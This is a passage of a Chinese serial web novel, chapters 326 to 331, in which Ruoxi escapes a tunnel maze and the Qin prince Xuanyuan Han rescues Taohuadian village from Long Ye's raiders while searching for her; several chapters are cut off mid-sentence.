王二气的只能叹了口气后,索性烦躁又无奈地退到一边一屁股蹲了下去靠在燕儿背后,苦道:“这到底是怎么回事啊,莫非是撞鬼了不成。这好端端的一个大活人,怎么说消失就消失了呢?” 很长一段时间的一室寂静后,兰香看看失魂落魄的燕儿,又看看身旁气的似是都在哆嗦的王二,又回头瞥了眼目光木讷的年长守卫,兀自吐了口浊气,开口说道:“依我看,我们还是想想办法,去找龙烨的钥匙将这石门打开吧。若不是如今他已识破了我的目的,命人四处捉拿我,我一定会有办法找到钥匙的,可惜……” 这时,年长守卫终于低声自言自语了起来道:“她真的是血族之后,那镯子一定是血族的传世圣物,它一定是和主人之间有某种感应。危难时刻,它能释放出它的灵力来,带她的主人去她想去的地方,做她想做的事。一定是这样,一定是这样,她一定会平安回来,一定会回来的……” 一念至此,灵光一闪,他忽然兴奋地对所有人扬声说道:“石门里面的密道,就如同一张巨大的蜘蛛网,路线尤为错综复杂。里面的环境又到处都漆黑一片,毫无一丝光亮。快点,我们大家一起想办法,在石门上制造出一些声响来,越大越好,声音要连续不断,这样才能为她引路。” “可是,如果我们闹出这般大的动静,会不会引来外面的看守呢?”兰香疑惑道。 “这个不必担心,这座石窟密牢非常结实静谧,都是以极密的岩石筑成的。里面的任何声音是绝不会传到外面去的。若不是龙帮主为防龙烨有不轨之心而暗修密道,我们也绝不可能进来这里的。没想到,龙帮主还真是颇有远见呢!”年长守卫叹道。 闻此,所有人顿时起身,争先恐后地到处找来石块、铁棒等各种各样坚硬的东西往石门上使劲地敲击,亦或直接朝其砸去…… 石门内,若曦大汗淋漓地架着男子跌跌撞撞地艰难迈步,寻找着出路。 通过虚洞进入里面来的时候,她也是误打误撞,并不知怎么地便就找到了目标。尔今,想要找出出路来,显然是难上加难。 视线极度不好,又要照顾男子的伤病,若曦深感着实有些焦头烂额。这密道已然就是个湖底迷宫一般,怎么走,都走不出去。总是在自己所刻下的不同记号间来回徘徊着。 若曦忍不住心下有些烦躁,遂伸手拭了把汗,男子借着微光一看见,便驻足停了下来,一脸歉然地劝道:“真是有劳姑娘了,不如咱们歇会儿再试试看吧!” “也好,你身上还有伤,这样走下去也不是办法!”说着,便将男子扶着席地而坐了下来。 男子对其笑了笑,忽然侧耳警觉地似是听到了什么极弱的响声来,便示意若曦道:“快听!” 若曦亦在其身旁坐下,拭了拭额头的汗,这才侧耳细细听了去。顿时,她停下了手里的动作眉飞色舞激动地道:“是他们,一定是他们!” 忽地起身,听清楚声响来源的方位后,若曦一边将男子扶起继续赶路,一边道:“我们朝着声音发出来的地方走,一定不会错的。这是他们在外面给我们指引方向呢!” 就这样,俩人七拐八拐,迂回曲折,只听到那似是敲击石门所发出的连绵不绝的声响越来越近。 就在这时,若曦手腕上的七彩金丝彩玉镯子所发出的仅有的一点点萤火之光却忽然一下子彻底熄灭了,若曦顿足惊叫道:“咦,这是怎么了?关键时刻,你可不能开玩笑啊!” 俩人正在纳闷间,忽然不知从哪儿发出来一股强大的力量,像是一阵龙卷风一般将她整个人都卷至了半空中飞起来,周围一片漆黑,她根本分不清方向,只觉那速度之快,险些将她的魂魄都给逼出去了似的。 而待她再一睁开眼来见到那似是已久违了的亮光时,竟是已经身处在石门之外,仍正在拼命敲击着那道宽大雄伟的浮雕石门的一伙熟悉的身影之后。而那男子却已在她的脚下,再次昏迷了过去。 若曦热泪盈眶地默默看着眼前这温暖的场景,只觉自己恍若重生一般,她忽然柔声轻唤了一句:“燕儿……” 燕儿闻声,忽地一下转过了身去,直飞奔着朝其怀里扑了过去,紧紧搂着她的腰肢,喜极而泣道:“小姐……” 至此,在场所有人终于都长长的舒了口气。 第三百二十六章:没有人阻挡得了她 于神秘地牢里终成功救出了所有人后,年长守卫背起男子,王二在身旁帮扶着,一行人等追随其后,匆匆忙忙又沿着原路穿过了后花园一片密密的翠竹林,悄悄返回到后院若曦的院内。 除了兰香以外,若曦重新又再次帮另外三人仔仔细细地诊治了一番,继而皱紧眉头说道:“大家都很虚弱,就在此安心好好歇着,待恢复了体力后,我会护送大家一起离开骁龙会。有我在,我不会让任何人再伤害你们。但是,为了隐蔽,大家都不要走出这个院子,以免招惹不必要的麻烦!” 众人散去,若曦先回到了自己屋里,站在门口张望了一眼静静躺在床上的燕儿,兀自走过去捉起兰香的手,对其吩咐道:“这里没有女婢,他们几个就只能拜托你暂时费心多加照料了。” 兰香用力地点了点头,欣然接受。 “小姐,我……” 这时,燕儿闻声挣扎着想要坐起身来。正欲开口,若曦便忙附上了两根纤细温热的手指在她的唇上,将其嘴里的话全都噎了回去,道: “嘘...以后,你有很多时间同我说话,我也都会一一细听。只是,现在你需要修养,否则以后会落下病根的,到时候受苦的可是你。既然你也说了,我是你家小姐,那小主人的话,你是不是就要听呢?嗯?” 闻此,燕儿抿了抿嘴,终于似是有些安心地闭起了眼睛。 遂与兰香俩人在燕儿身旁一坐一站,四目相对着笑了笑,便点头示意离开。出了自己屋子,又到了另一边屋内,对年长守卫交待了一番照顾冷峻男子和王二的相关注意事项,安排交待好一切,若曦亦早已一脸疲惫不堪地兀自从屋内踱步出来,想要呼吸口新鲜空气。 遂十指交叉着伸展开双臂越过头顶,将整个本就修长的身子试图拔的更高一些,却忽然发现一场春风竟吹至了一场春雨。 不知为什么,她总是钟情于这样的雨天,无论是蒙蒙细雨,还是大雨滂沱。或许,她只是单纯地觉得,只有在这样的时刻,这个世间仿佛才是最干净,最静谧的吧。 谁知道呢?或许,在上一世,亦或更上一世里,在这同样的雨中,还有什么更浪漫的故事发生过呢? 许是自己这一世降临到这个世界的时候,手一抖,不小心将孟婆汤撒掉了一些,所以喝的有点儿欠。于是,脑袋里存有太多太多支离破碎的片段,她分不清到底是自己的哪一世所发生的?想忘,忘不掉,想醒,又记不起。 “唉……”一念至此,若曦重重地叹了口气,遂缓缓走至屋檐下,伸手去接那纯净的无根之水。 庭院深深、和风细雨、窈窕淑女、和着一院的柳绿花红,小桥流水,假山池鱼、俨然一副美妙绝伦的轻纱拂面美人烟雨图。此情此景,如梦如幻,夫复何求? 遂又倚着门前的廊柱坐下,本以为可以来一场久违了的惬意又尽兴的倚栏听风雨,将这近日里所有的繁杂、纷乱、沉重、不安的心事,一件件暂时全都通通抛开。岂料,就在其兴致正浓的放空时候,忽然传来一阵匆匆的脚步声。 未见其人,便已听到是那虽冒冒失失,却不失真的年轻守卫正从拱门处朝她近身过来。一见到若曦的身影,便慌慌张张地嚷嚷叫喊道:“姑娘不好了,不好了,副帮主带了一批人马奔向桃花店村去了,还扬言说这回不管怎么着亦都要取了整个村子人的性命不可!”。 “什么?走了多久了?”闻此,若曦顿然失色地起身问道。 “约摸已有一个多时辰了。”年轻守卫稍一回想,焦急地道。 “这个龙烨,真是死性不改。想他此次恼羞成怒,势必会将所有的怨气与怒火全都发泄在那些手无寸铁的村民身上。”一种极不好的预感油然而生。 稍作思量,便吩咐年轻守卫道:“我必须去救他们,快去备马!” “我陪你一起去。”不知何时,年长守卫亦已经从屋内出来,默默地站在她的身后说道。 闻声,若曦迅速一个转身,俩人对视了会儿,最后朝其点了点头,轻哼了一声:“嗯。” 一念至此,若曦遂深看了一眼身旁的年轻守卫,对其颇为认真地交待道:“待会儿他们几个若是恢复了体力,不必等我们。你先想办法带他们离开骁龙会,以防龙烨使诈再带人折回来,生出什么事端。若是他们问起,你就说,随后我会想办法去皇城里找他们的,让他们放心先走就是。” “你们都去村里救人,怎么又丢下我一个?这带他们逃离骁龙会,如此人命关天的事,我可办不到!”年轻守卫听了这话,看看若曦,又瞥了年长守卫一眼,继而嘟囔着嘴,气呼呼地闪到一边去背过身愤愤不平地道。 若曦忙追了过去,注视着他的眼睛,鼓励其道:“你可以的,方才你不就做的很好么!我听人说,龙烨后来派来的许多回来滋事的人,可是都被你唬的一愣一愣的。” “那是...自然,他们哪能是我的对手?”年轻守卫话刚出口,又转而哼了哼鼻子,双手环胸高高昂起首来得意地道。 其实,龙烨后来派来的几人里,有两个是在桃花店村见识过若曦体内所发出的那股神秘力量的人。于是,年轻守卫只是顺着胡诌了几句,那些人便如同惊弓之鸟一般仓皇而逃了去。龙烨也因此方才大发雷霆,决定乘其不备,先带人偷袭桃花店村,好让若曦措手不及。 见此,若曦含笑一边赞叹着,一边见缝插针地道:“是,是,是,你最厉害了!可既然你也知道人命关天,那桃花店村里的那几十口老老小小,和这四人相比,又有何差呢?” “我……” 就在年轻守卫还想继续再争辩些什么时,王二亦匆匆走了出来,上前对若曦信誓旦旦地道:“若曦姑娘,我也要跟你一起回去,我王二是吃桃花店村里的百家饭长大的,那里的每一户人家,都是我的家;每个人,都是我的至亲,我有义务去保护他们。” 闻声,若曦转身过去定睛看了看他的脸色,似是已好了许多,于是便道:“也好,我们一起回去!” 于是,三人一边说着话,一出门,便跨上了马背兀自扬鞭策马奔腾而去。 屋内的燕儿虽闭起了眼睛,却怎么都不得安睡。索性便与兰香亦一道出来找若曦,一听到年轻守卫的话,燕儿疯了般冲出院子,一边远远地紧追在三匹马的身后疾跑着,一边撕心裂肺地对其背影哭喊道:“小姐,你回来,你不要去,快跟我回家吧,你快回来啊,小姐……” 追着追着,忽然脚下一个没踩稳,“扑通”一声重重地跌坐在了地上,溅了一身泥土,兰香这才乘机追了上来,忙俯身下去一把将其扶住,帮她一边检查脚踝,一边关切道:“燕儿,你没事吧?脚有没有受伤?” 而燕儿依然满脸黯然,伤心地凝视着已经拐了道弯早已不见踪影的三人离去的方向,愣愣地哭着道:“小姐,你骗人,你说过要听燕儿说话的。可这些日子以来,燕儿攒了一肚子的话,燕儿对小姐的日夜思念,小姐还没听燕儿说一句呢,你怎么就能又这样不告而别了呢?小姐,你回来,燕儿求你,求求你,你回来吧,小姐……呜呜呜……” 见此,兰香亦忍不住放眼过去看向了三人离去的背影,心疼地劝慰燕儿道:“燕儿,别追了,你家小姐,她不是个一般的女子。这个世上,没有人阻挡得了她,咱们还是快回去准备准备离开这里吧,不要再成为她的负累!” 闻此,岂料燕儿却始终都听不进去半句,竟扭头向着兰香怒吼起来,遂又哭的像个泪人似的像是都要背过气去了一般:“不,燕儿才不管什么血族之后,西秦守护者,燕儿只知道她是燕儿的小主人!小姐,你快回来,你不要撇下燕儿一个啊!燕儿不走,燕儿死也不离开这儿,燕儿要等小姐……” 见此,兰香亦忍不住鼻子一酸,将燕儿一把拥入到自己怀里,眼里顿时溢满了泪水,将下巴抵在燕儿的额头,道:“燕儿,好燕儿,可怜的燕儿……” 夜幕下,繁星点点,一轮圆月高高地悬在天边。浩瀚宇宙下,即使再睥睨天下,尊贵天成的天之骄子,亦仿佛都如同是一粒尘埃一般,顿时变得黯然失色。 此时,依照着西秦国最为详细的一张地图的指示,秦王轩辕翰快马加鞭,日夜兼程,终于抵达了这片十里桃林之所在的村子。 天高地阔、依山傍水、灵气逼人、这果然是一片被他遗忘了的世外桃源。 月起兮,水依依,似壁兮,如卿仪,然此刻他却始终都提不起心思来欣赏这片桃花灼灼。因为,他早已激动不已地期待,甚至已经开始在幻想着,若是待会儿真的见到了她,他要如何惩罚她,宠溺她。他一定要带她回去,将她锁在他的王府深院里的最深处,命人找来这世间最牢固的绳索,将她时时刻刻都拴在自己眼前,再也不许她离开自己视线半步。 想着想着,他的眼角不禁悄悄地微微上扬起来,嘴角亦不知不觉地露出一抹好看的弧度。 就在这时,前方隐隐约约似是现出了一片游走晃动的火光来,村里亦到处都一片犬吠声…… 第三百二十七章:犯我西秦者,必诛 就在轩辕翰对即将到来的美好重逢满怀信心,无限憧憬时,前方隐隐约约似是现出了一片正在游走晃动着的火光来,将村子的整片上空全都点亮,到处皆是一片嘈杂的犬吠声传来。 不知为何?他的心里不禁蓦地一颤,心中似是隐隐有种说不清道不明的异样感觉。 就在这时,先行快马加鞭前面探路的侍卫慌慌张张地回来一下马,便跌跌撞撞地疾奔上前来单膝跪地,垂首抱拳禀报道:“启禀殿下,大事不好了!” 闻此,轩辕翰方才一双本就深邃了更多的眼睛顿时变得更是看不到底,直勾勾瞪向那眼前的侍卫。 程良一见,忙下马来上前两步朝其厉声斥责道:“前方究竟发生何事,如此慌张?” 侍卫这才略微抬了抬起身子来,开口禀道:“殿下,将军,经探,前方的小村子的确是名叫做桃花店村,上下总共约摸只有几十口村民。黄昏前,突然来了一伙自称是骁龙会的红衣壮汉,那领头的说是骁龙会的副帮主,名唤龙烨。他们...他们将所有村民悉数全都抓了起来带到村里的祠堂门前,说这些村民们是什么危害人间的妖女的同伙,要...要将他们全都处死。” 侍卫话音刚落,程良顿时暴怒喝了一声道:“放肆!又是骁龙会。朗朗乾坤下,竟敢如此胡说八道!哪儿来的什么妖女?” 侍卫想了想,遂心里亦是甚觉不可思议的怯怯禀道:“属下本亦觉得此事乃这伙贼人无中生有,故弄玄虚。可谁知这件事,被他们说的有板有眼的。据说,前两日,这里有一名叫做若曦的女子,被一道神奇的紫芒所发出的强大力量托起至半空中,还招来了附近凶恶的山兽……” 听了侍卫颇为绘声绘色的一番陈述,程良已然被惊的一愣一愣。于是,缓缓将目光投向到身后主人的身上。 黑夜里,轩辕翰一袭黑衣劲装,墨发全束,愤怒气盛,目光如炬般迎着风如同从天而降的一尊神抵一般落在那匹即使是在暗夜,仍显尤为黑亮的高大骏马上,手握着缰绳,边听边仔细地琢磨着,然最后却是冷声问了句:“可有探到衣药女的消息?” 侍卫一听,心里遂咯噔一下,继而又窃窃地再次垂首下去,轻轻摇了摇头。 见此,轩辕翰的身子蓦地颤颤一抖,脸上早已一扫刚才的光彩飞扬,眉目间顿时突变成寒光四射,但依旧隐忍着心里一丝不好的预感,凝视着前方村落冷冷地问身边的程良:“骁龙会那边,可已有传回什么消息了?” “暂时还没有收到任何消息,属下担心,那日的苦肉计会不会被那伙狡猾的贼人给识破了,卫宁...是不是已经暴露了?”程良说着说着,不禁皱紧了眉头来,微微低眼下去有 些忧心的样子。 轩辕翰舒了口气,抬头忽然瞥见南方远处高耸着一座连绵起伏巍峨的大山,遂不经意地朝其望了望,淡淡道:“山的那头...应该就是南安的境土了吧?” 这时,程良忽地回过神来抬起头朝其所向之处怔了一眼,似是忽然想起来什么,立马拿出地图来看了看,果然,主人的记忆颇好。看着眼前的这座横在桃花店村和南安边境之间的一座高山,他恍然大悟: “对啊,山的南边那一头,方才是南安国的国境。所以,这桃花店村无可非议,本就是属于我西秦的境土,我们并未越界。如此说来,这个骁龙会,如今竟敢公然越过边境跑到我西秦来滋事挑衅,真是不能再继续姑息下去了,殿下!” 程良似是已迫不及待地一将话说完,便怔怔看向了轩辕翰的脸。 一片苍茫夜色中,轩辕翰一脸凝重,眼神悠长地遥望着那座孤独的远山,郑重道了句:“犯我西秦者,必诛!” “是!”程良遂一意会领命,即刻示意探路回来的侍卫在前速速带路,一行人马匆匆向着村子里发出火光的地方全力行进而去。 此时,桃花店村里,同样于祠堂前一片空旷的广场上,空前从未有过如此喧嚣热闹的一个夜晚。 这会儿没有了若曦的存在,上次领头要屠村的那名头领,明显变得肆无忌惮了不止许多。 偌大的广场中央,由三、四十名手里高举着熊熊燃烧的火把,个个如狼似虎般威猛高大的骁龙会红衣壮汉,将村里老老小小几十口人无一例外地圈在了由其人肉所筑成的无比密不透风的坚实人墙当中,不容其任何一人有半点儿逃脱的机会。 那领头的壮汉一手举着火把,另一手持一铮亮的大环刀,朝身后双腿微微叉开,端坐在祠堂门前摆着的一把太师椅上,正虎视眈眈地怒扫着一个个村民的龙烨点了点头,得到其授意后,继而转身上前朝着面前黑压压跪了一地,个个颤颤巍巍又手无寸铁的人们耀虎扬威,借口说道: “今夜,便是你们全村几十口老老小小所有人的死期了。不过,你们要明白,这怨不得我们,你们要怪就全怪那个妖女吧。原本,我 第三百二十八章:树倒猢狲散 众目睽睽之下,两名壮汉左摇右摆地上前来,一脸邪笑着欲要将欢儿架起拖下去。 欢儿顿时惊恐的看向那俩人,朝其大声谩骂疾呼,在其手里拼命挣扎着:“你们要干什么?放开我,放开我,你们这些土匪强盗……” “欢儿姐,欢儿姐……” “欢儿姑娘,欢儿姑娘,求求你们放过她吧,她还只是个孩子而已……” 顿时间,人群里大人的呐喊与乞求声,缩在妇人怀抱里呼呼大睡的小娃娃被惊吓醒来哇哇大哭的哭泣声俱都交集在一起,再次沸腾了起来。 就在这时,忽然天现一道惊雷,雷声滚滚而过,随之众人耳边又传来尤为响亮的一厉声道:“秦王殿下在此,谁敢动我西秦子民!” 顿时间,周围变得一片寂静。只见所有人面色骤变,遂震惊地纷纷朝着四周到处张望了起来,却在一片尽是如墨般漆黑的夜色里根本寻不见任何身影。 而那斜着嘴角,洋洋得意地正与祠堂门前的太师椅上端坐着的龙烨狼狈为奸,相视而笑着的红衣头领一听到“秦王”二字,顿时僵住了脸上的谄笑,转而大惊失色就如同是见了鬼一般的双眼一怔,遂紧张地朝着身后发出声音的方向急转身过去,瞪大了眼睛放眼一扫,亦却是什么都没有看见。 于是,便气急败坏地扬起手里的大刀,大步朝着村名们呲牙咧嘴,气势汹汹地疾奔扑了过去,用那无比锋利的刀尖挨个儿怒指向每一个村民,对其咆哮逼问道: “又是哪个不要命的在故弄玄虚?刚刚是谁喊的?秦王在哪儿?那个黄口小儿在哪儿?是不是你?…还是你…你…是不是你喊的?你们这是在挑战爷爷我的耐心么,说,快说,到底是谁喊的?说不说,不说的话,爷爷这就马上送你们上西天去见佛祖。” 见此,村民们一个个都被眼前这副面目狰狞,形同魔鬼似的可怕架势吓得连连后退着。 就在他高高举起手中的大刀,正要将其坎向那名半垂首俯身下去紧紧护着怀里的婴孩,吓得不停抖动着双肩的妇人时,霎那间,只见那魔鬼似的人物忽然人头落地,随之一道鲜血从其脖颈间迸射而出,唯只有失去方向的身子却还依旧直立保持着方才的姿势。却是摇摇晃晃了没两下,便见手中大刀噼里啪啦的掉落,身体亦随之扑通一声,重重地倒在了地上。 见到刚刚还生龙活虎,举刀霍霍地对着村民们耀虎扬威的红衣头领的脑袋,不知为何突然就在地上如同个圆球一般朝着自己滚了过来,所有在场的红衣壮汉见了无一不紧缩起身子朝后退了起来。 而龙烨亦忽地站起身来,直瞪大了眼睛看着眼前所发生的这甚为诡异的一幕,顿时膛目结舌,大大地吞下了一口 口水。 村民们一个个赶忙伸手紧紧地捂住了孩子们惊恐万状的双眼。 很快,一回过神来,龙烨猛地抬头虎视眈眈地瞪向眼前的村民,朝其怒道:“是谁干的?” 就在这时,忽然一声马嘶从身后传来,人群里有一年轻男子遂皱着眉头先回过头去定睛朝其一看,兀自摸着脑门暗自一想方才那诡异的声音顿时反应过来,继而兴奋地大声疾呼了起来道:“是秦王殿下,秦王殿下来了,秦王殿下真的来了!” “秦王殿下千岁千岁千千岁!”顿时,众人纷纷随之回首转身,一见到身后那个尊贵不凡,不怒自威,从容不迫的英武身姿,瞬间朝其俯首跪拜道。 见此,龙烨方才后知后觉地明白了刚刚所发生的一切,顿时眼里寒光四射,双拳握起,双脚用力猛地一点地,便从祠堂门口飞身而出,刚好落在了轩辕翰的正对面。 而那三、四十名圈地为牢,禁锢着那些村民们的红衣壮汉一见到威震整个灵空,以一敌百,睥睨天下的战神秦王本尊,早已来不及得令便擅自速速退身了下去,缩成一团怯怯地躲到了龙烨的身后寻求庇护。 马背上,神情凝重的轩辕翰瞥了一眼眼前的一片狼藉,遂缩了缩眼角便一步跨下了马来。 立定后,他一只大手轻轻一扬,面前跪了一地的村民们便相互扶持着缓缓立起身来顿时挺直了腰板,走过去站在他们无处不在,爱民如子的秦王身后,怒朝着对面的一众红衣壮汉极轻蔑地哼了哼鼻子,那群红衣壮汉目光躲闪着,一个个却似是连头都不敢抬起来半分。 俩人四目相对了片刻后,龙烨竟完全无视默默从自己身旁经过,上前到那具无头尸体边拾回自己佩剑的程良,哼笑了一声,直朝着轩辕翰扬声大言不惭地道: “你便是秦王轩辕翰?…哼,倒还真如传闻中所言,在西秦国里,秦王果然是百姓的守护神,无处不在,堪比那深宫里的缩头乌龟璟帝中用多了!原本,本帮主还想留你多活几日,没想到,你自个儿倒是先按耐不住了。看来是时候了,竟敢对本帮主的人动手。今日,本帮主就先取了你的项上人头,明日便提着他去吓唬吓唬那璟帝老儿,没准儿那龟孙子不经吓,便就这样将这大好河山拱手让人了吧,哈哈哈哈哈…哈哈哈哈哈!” 面对龙烨如此肆无忌惮的言语挑衅,不想轩辕翰却沉着气始终目光深邃又犀利,不动声色着。 见此,龙烨反而突然间没了底气,遂止住了笑声。 没想到他原以为只是个不经世事,会些三脚猫功夫,花拳绣腿,乳臭未干的黄口小儿,竟有如此处事不惊的那份淡定与沉着。 &nbs 第三百二十九章:寻伊人不遇 对于龙烨的狂妄自大,傲睨一世与肆无忌惮的挑衅,轩辕翰由始至终根本就没有将他放在眼里半分。 却是一近身过来,便用那双急切又深邃的眼眸有意无意地在人群里搜索了不知已有多少遍,却终是失望的没有见到自己所心心念念期待着的那个人半点儿身影。 不过,方才所发生的一切倒是让他看清楚,在这骁龙会里,龙烨左不过是一个跳梁小丑而已。骁龙会之所以能隐藏的如此之深,想那龙恩才是真正有些本事的。否则,依照侍卫卫宁的身手,不应该到现在还不得脱身,就连消息也再传不出来。想必,他真的是被什么给困住了。 一念至此,他定了定神,似是心里已有了打算。于是招手示意旁边的侍卫上前,那侍卫一站出来,便向人群里缓缓展开了一张官府告示来,和气地道:“请大家仔细看看这张秦王府的告示!” 侍卫话音刚落,众人刚刚好不容易放松下来的神色,又都诧异地看向了面前那尊若神袛般的男子脸上,大概是因为从未见过什么世面的人们,不知朝中又有什么重大的事情发生? 只怔愣了一瞬,继而所有人便全都朝着那张告示前围了上去。顿时开始对其指指点点,七嘴八舌的窃窃私语着不知道在议论些什么,有很大一部分人讲的还竟都是些当地的方言,更是让人不解。 就在轩辕翰见此微微皱起眉来,与侍卫俩人为此显得有些无措地面面相觑时,人群里忽然有个拄着拐杖,骨瘦如柴的孱弱老翁缓缓开口说道: “秦王殿下,在咱们这个与世隔绝,偏僻的小村落里,都是些大字不识,小字靠猜的粗人。王府的这张告示上,又是美人画像,又是大幅连篇的,根本无人能识。殿下有什么事不妨直说?咱们知道的一定知无不言,言无不尽便是!” 老翁话音尚还未落,身旁众人亦随之齐呼:“对对对,秦王殿下有什么事直说,咱们知道的一定知无不言,言无不尽!” 闻此,侍卫正欲开口说话,轩辕翰伸手将其挡了回去。指着其手里告示上的女子画像,亲自开口向众人问道:“本王想跟你们打听打听,大约元宵节前后,村里有没有来过这样一位姑娘?大家都仔细看看,有没有映像,她是本王府上的人,本王不惜所有,愿付出任何代价,只要能将她寻回。” 众人这才都恍然大悟,随那老翁再次凑近了上去仔细瞧了瞧,老翁遂吞吞吐吐道:“这个女子……” 瞬间,所有人都将目光投向到人群最外面,一袭水蓝色衣裙正垂首盯视着自己脚尖,不停地揉搓着衣角的女子身上。 轩辕翰一见,亦迅速朝着众人所看向的方向望了去。只见他对其愣了一下,便兀自迈开一条腿 来轻轻一挪,人们霎时便都闪身到两旁,从中间让出了一条小道来。 轩辕翰沿着这条左拥右挤满满都是人群的狭隘小道上,缓缓向着对面的一袭水蓝色衣裙女子身旁一步一步走了过去。 却不知为何,他越是靠近,就越是感觉到一股熟悉又亲切的气息。他一边走,一边心里回忆着。 终于,他回忆起。没错,那气息,是他熟悉的不能再熟悉的母妃的气息。可是,这明明就是一个十几岁的小丫头而已,天下怎会有如此巧合的事? 正在纳闷思量之际,不知不觉已近身到了其面前。于是,他难得轻声地朝其问了句:“小姑娘,你叫什么名字?” 然尽管如此,女子似是依旧不敢抬起头来半分,竟忽然扑通一下跪在了其面前,垂首俯身下去回话道:“民女欢儿,参见秦王殿下!” “你起来回话!”轩辕翰始料未及,想她一定是因为年龄小,被自己的厉色吓到了,遂后退了一步,单手附后微微昂首沉声示意其道。 “民女不敢,殿下有什么话,就请直接问吧,民女…民女跪着答即可。”欢儿始终低着眉眼,缩成一团趴在轩辕翰脚下说着,似是极为瘦弱的一对肩膀尚还有些微微发抖。 “本王让你起,你便起,休要啰嗦。”岂料,轩辕翰一瞥见她这副固执模样,竟忽然对其失去了耐心,厉声呵斥道。 “欢儿莫怕,秦王殿下是好人,他不会伤害你的。”见秦王震怒,一边的几个妇人们纷纷上前来将欢儿扶起劝解道,欢儿终于战战兢兢地立起了身来,却依旧低垂着脑袋,两只手紧紧攥着衣角。 轩辕翰遂将方才朝其走过来时从侍卫手里拿过来的那纸告示展开在她的面前,隐忍着怒火沉声问:“本王问你,你是不是见过画像上的这名女子?” 许是因为太过于紧张,欢儿竟将眼睛抬都不抬起一下,便回道:“回秦王殿下的话,民女从未见过这名女子?” 闻此,轩辕翰对其彻底失去了最后的耐心,厉声脱口即出:“撒谎!你看都不看,怎么就说没见过,若是没见过,大家为何都要看你?你又为何心虚至此,连头都不敢抬?你给本王抬起头来!” 话尾的最后一声暴喝,如雷贯耳,惊的欢儿顿时 第三百三十章:还是老样子 黑色天幕上,月华如水,似瀑般倾泻而下,落在连绵起伏的群山峻岭,无边无际的平原大地,无处不在,柔和地泛着一片银白之光。 “冰冻三尺,非一日之寒”如今的西秦朝廷里,虽大多已经都是秦王轩辕翰的羽翼,然还是不乏那些极个别少数仍旧唯利是图,贪图享乐,趋炎附势,阳奉阴违之辈。拓跋泽的万娇阁虽然被查封,顺藤摸瓜着也将其在朝中的许多眼线揪了出来,给予其重重一击。但想要彻底将其连根拔起,又谈何容易? 凭借着剩余已寥寥无几的关系人脉,所幸还是如愿探到了能到达桃花店村的捷径,方使得其没有错过眼前这场好戏的拓跋泽,几乎与轩辕翰同时抵达到了桃花店村,与其侍卫俩人躲在祠堂周围一处极其隐蔽的角落里,看到了广场上所发生的一切。 此时,见众人已相继散去,暗夜里,那一抹红色的队伍亦追随着轩辕翰的人马渐渐远去。其身旁的侍卫遂压低了声音问身旁的主人道:“殿下,现在我们该怎么办?” 在一个已经被风化得千疮百孔的土堆高处,拓跋泽昂然挺立着,与侍卫俯瞰着整个祠堂周围的一举一动。闻声,他眼神悠长地注视着轩辕翰离去的背影,嘴里喃喃道:“‘骁龙会’?那丫头竟然已经不在桃花店村了!” “看样子,是这样的!”侍卫说着,又扫了一眼三三俩俩结伴同行而归的村民们,回应道。 拓跋泽暗自琢磨了会儿,遂单手附后着,信誓旦旦地决定道:“先跟上他们的队伍,去看看这个骁龙会里究竟有何玄机?到时候再借机另寻下手的机会吧!本皇子就不信,左不过一个臭丫头而已,能有多大的本事,她还能逃出本皇子的五指山不行?” 那侍卫一听,默了会儿稍作回想,继而有些忧心地朝其劝道:“殿下还是谨慎一些莫要轻敌了才好,那女子诡计多端。况且,方才那些人也都说了,像是认真的。她的力量似是真的有些诡异,竟然还被唤作神女…如此想来,当初从那么高的悬崖上落下尽然还能活着,看来,她还真是不简单呢!” “你这是‘灭自己威风,长他人志气’,那些愚昧无知的刁民知道些什么?她左不过就懂些药草医理罢了,再加上不知又耍了些什么小聪明,便糊弄了这伙乡野村夫而已。这世上哪儿来的什么蛇神鬼怪,向来只是听哄娃娃的那些故事里讲过没见过,全都是有人故意在捣鬼虚张声势,故弄玄虚而已,这样的话你竟也信…哼,蠢货!” 拓跋泽一边轻蔑地哼声说着,一边狠狠地瞪了一眼身旁那侍卫。 “殿下英明,属下该死,属下明白了!”侍卫怯怯地垂首下去,忙朝其拱手恭维道。 至此,拓跋泽方才 舒了口气,开始挪步起来:“走吧!” …… 转眼间,祠堂周围明里暗里所聚集的所有众人均已陆陆续续地一散而尽。 这时,老妇人方才一边拭去鬓角的汗水,一边步履匆匆地从山上下来赶回到村子里去。姗姗来迟,与那一抹红的队伍恰好在村头的路叉口处擦肩而过。 一瞥见溶溶月色下,那队朝着自己身后已渐行渐远的似是有些眼熟的队伍,她暗自回首心里一边打量着,一边疑惑地朝正迎面疾奔而来相迎的欢儿问:“方才那队人马都是些什么人?老身看着怎么像是那日来寻事的那伙人呢?可仔细一瞧,又觉得他们不像是一伙的。” 然欢儿一上前来却扶住她的胳膊,上气不接下气地断断续续道:“老…老夫人,您…您终于回来了,大事不好了……” 未及欢儿将话说完,老妇人顿时联想起方才的那一抹红色队伍,心里一紧,手下一松,手里的竹篮瞬间滑落在地,却无人理睬,遂将自己的手迅速一个反转,紧紧捏住欢儿的手腕,注视着她的眼睛对其大惊失色道:“可是若曦回来了,方才那伙人…难道…他们又将若曦捉了回去?” 说着,便欲要转身回去追。 欢儿嘴上已然说不出话,只死死拽紧老妇人的胳膊,脑袋像个拨浪鼓一般大力地拼命摇晃着,待稍微缓了口气,便说道:“不是的,不是的,老夫人莫急,您听欢儿说。这件事,实际上,欢儿亦不知道是好还是坏?” 闻此,老妇人方才缓缓扭头回来,渐渐平静了下来,凝视着欢儿的脸忧心地问:“究竟发生了什么事?” 欢儿深深吸了口气,似是方才平复了一些刚刚所经历的至今回想起来仍是有些后怕着的触目惊心的一幕幕。 这才疾步上前捡拾起老妇人掉落在地上的竹篮,将其套在自己的臂弯上,一手将老妇人胳膊挽起搀扶着,遂与其一边一道迈步回家,一边回忆着道: “还好老夫人您下午去山里给那只受伤的大虫换药了,否则后果不堪设想。方才的那些红衣壮汉,正是上次来村里闹事的那些人。不过,他们这次可是带着一大匹人马有备而来的。关键时刻,幸好秦王殿下及时赶到,这才将他们一个个全都给治服了,还心甘情愿入到了秦王的麾下……” 未及欢儿一脸崇拜和兴奋地将话说完,老妇人即刻顿足停了下来,怔望着欢儿的眼睛,八年来从未有过如此惊诧地道:“你说什么?秦王…秦王他来了?” 欢儿不明所以,只愣愣地朝其点了点头,老妇人方才恍然大悟,忽地忙 第三百三十一章:少女的决定 马蹄将路边一浅水潭里的污泥溅了起来,飞溅了老妇人一身,欢儿一见,便转身怒目朝其破口大骂:“这是什么人呢?是不是眼睛瞎了,骑马跑这么快就不怕撞到人么,喂……” 